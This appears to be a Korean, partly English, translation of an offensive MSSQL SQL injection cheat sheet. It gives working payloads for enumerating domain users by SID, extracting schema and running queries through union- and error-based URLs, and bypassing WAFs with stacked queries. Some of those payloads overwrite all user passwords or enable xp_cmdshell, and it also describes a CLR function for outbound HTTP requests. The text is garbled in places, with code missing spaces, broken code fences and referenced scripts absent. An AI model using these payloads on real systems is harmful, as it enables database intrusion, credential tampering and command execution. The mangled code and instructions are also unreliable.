MSSQL 서버 내에서 SQL 인젝션을 통해 도메인 사용자를 열거할 수 있습니다. 다음 MSSQL 함수를 사용하세요:
SELECT DEFAULT_DOMAIN(): 현재 도메인 이름을 가져옵니다.
master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator')): 도메인 이름(DOMAIN 예시) 을 알고 있다면 이 함수는 관리자 사용자의 SID를 16진수 형식으로 반환합니다. 이는 0x01050000000[...]0000f401처럼 보이며, 마지막 4바이트가 500이라는 숫자로 빅 엔디안 형식으로 되어 있습니다. 이는 관리자 사용자의 공통 ID입니다.
이 함수는 도메인의 ID를 알 수 있게 해줍니다 (마지막 4바이트를 제외한 모든 바이트).
SUSER_SNAME(0x01050000000[...]0000e803) : 이 함수는 지정된 ID의 사용자 이름을 반환합니다 (있다면), 이 경우 0000e803는 빅 엔디안 == 1000입니다 (보통 이는 생성된 첫 번째 일반 사용자 ID의 ID입니다). 그러면 1000에서 2000까지 사용자 ID를 무작위로 시도하여 도메인 사용자의 모든 사용자 이름을 얻을 수 있다고 상상할 수 있습니다. 예를 들어 다음과 같은 함수를 사용하여:
defget_sid(n):domain ='0x0105000000000005150000001c00d1bcd181f1492bdfc236'user = struct.pack('<I', int(n))user = user.hex()returnf"{domain}{user}"#if n=1000, get SID of the user with ID 1000
대체 오류 기반 벡터
오류 기반 SQL 인젝션은 일반적으로 +AND+1=@@version--와 같은 구조와 «OR» 연산자를 기반으로 한 변형을 닮고 있습니다. 이러한 표현식을 포함하는 쿼리는 일반적으로 WAF에 의해 차단됩니다. 우회 방법으로, %2b 문자를 사용하여 특정 함수 호출의 결과와 문자열을 연결하여 원하는 데이터에 대한 데이터 유형 변환 오류를 유발합니다.
# Checkif you have itSELECT*FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';# Or doingUsemaster;EXEC sp_helprotect 'fn_xe_file_target_read_file';
# Checkif you have itSELECT*FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';# Or doingUsemaster;EXEC sp_helprotect 'fn_get_audit_file';
# Checkif you have itSELECT*FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';# Or doingUsemaster;EXEC sp_helprotect 'fn_trace_gettabe';
xp_dirtree, xp_fileexists, xp_subdirs
xp_dirtree와 같은 저장 프로시저는 Microsoft에 의해 공식적으로 문서화되지는 않았지만, MSSQL 내에서 네트워크 작업에 유용하기 때문에 온라인에서 다른 사람들에 의해 설명되었습니다. 이러한 프로시저는 다양한 예제와 게시물에서 보여준 바와 같이 Out of Band Data exfiltration에 자주 사용됩니다.
예를 들어, xp_dirtree 저장 프로시저는 네트워크 요청을 수행하는 데 사용되지만, TCP 포트 445로만 제한됩니다. 포트 번호는 수정할 수 없지만, 네트워크 공유에서 읽는 것을 허용합니다. 사용법은 아래 SQL 스크립트에서 보여집니다:
CLR UDF(공통 언어 런타임 사용자 정의 함수)를 생성하는 것은 .NET 언어로 작성된 코드가 DLL로 컴파일되어 MSSQL 내에서 사용자 정의 함수를 실행하기 위해 로드되는 과정으로, dbo 접근이 필요합니다. 이는 일반적으로 데이터베이스 연결이 sa 또는 관리자 역할로 이루어질 때만 가능하다는 것을 의미합니다.
이진 파일을 CLR 어셈블리로 MSSQL에 로드할 수 있도록 이 Github 저장소에서 Visual Studio 프로젝트 및 설치 지침이 제공됩니다. 이를 통해 MSSQL 내에서 HTTP GET 요청을 실행할 수 있습니다.
이 기능의 핵심은 http.cs 파일에 캡슐화되어 있으며, WebClient 클래스를 사용하여 GET 요청을 실행하고 아래와 같이 콘텐츠를 검색합니다:
usingSystem.Data.SqlTypes;usingSystem.Net;publicpartialclassUserDefinedFunctions{[Microsoft.SqlServer.Server.SqlFunction]publicstaticSqlStringhttp(SqlString url){var wc =newWebClient();var html =wc.DownloadString(url.Value);returnnewSqlString(html);}}
CREATE ASSEMBLY SQL 명령을 실행하기 전에, 다음 SQL 스니펫을 실행하여 어셈블리의 SHA512 해시를 서버의 신뢰할 수 있는 어셈블리 목록에 추가하는 것이 좋습니다 ( select * from sys.trusted_assemblies;를 통해 확인 가능):
단일 쿼리로 테이블의 전체 내용을 추출하는 간결한 방법은 FOR JSON 절을 활용하는 것입니다. 이 접근 방식은 "raw"와 같은 특정 모드가 필요한 FOR XML 절을 사용하는 것보다 더 간결합니다. FOR JSON 절은 그 간결성 때문에 선호됩니다.
현재 데이터베이스에서 스키마, 테이블 및 열을 검색하는 방법은 다음과 같습니다:
https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, ifnot provided with either, cannot be formatted asJSON. Here's an example of how this is done:```sql```markdownhttps://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--
### Retrieving the Current Query
[Trick from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/).
For users granted the `VIEW SERVER STATE` permission on the server, it's possible to see all executing sessions on the SQL Server instance. However, without this permission, users can only view their current session. The currently executing SQL query can be retrieved by accessing sys.dm_exec_requests and sys.dm_exec_sql_text:
```sql
```markdown
https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null
To check if you have the VIEW SERVER STATE permission, the following query can be used:
```sql
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
### WAF Bypass with unorthodox stacked queries
According to [**this blog post**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) it's possible to stack queries in MSSQL without using ";":
```sql
SELECT 'a' SELECT 'b'
Can be reduced to:
```sql
use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]
Therefore it could be possible to bypass different WAFs that doesn't consider this form of stacking queries. For example:
# 끝에 쓸모없는 exec() 추가하여 WAF가 유효한 쿼리가 아니라고 생각하게 만들기
admina'union select 1,'admin','testtest123'exec('select 1')--
## 이것은 다음과 같습니다:
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
exec('select 1')--'
# 이상하게 구성된 쿼리 사용하기
admin'exec('update[users]set[password]=''a''')--
## 이것은 다음과 같습니다:
SELECT id, username, password FROM users WHERE username = 'admin'
exec('update[users]set[password]=''a''')--'
# 또는 xp_cmdshell 활성화하기
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
## 이것은 다음과 같습니다:
select * from users where username = ' admin'
exec('sp_configure''show advanced option'',''1''reconfigure')
exec('sp_configure''xp_cmdshell'',''1''reconfigure')--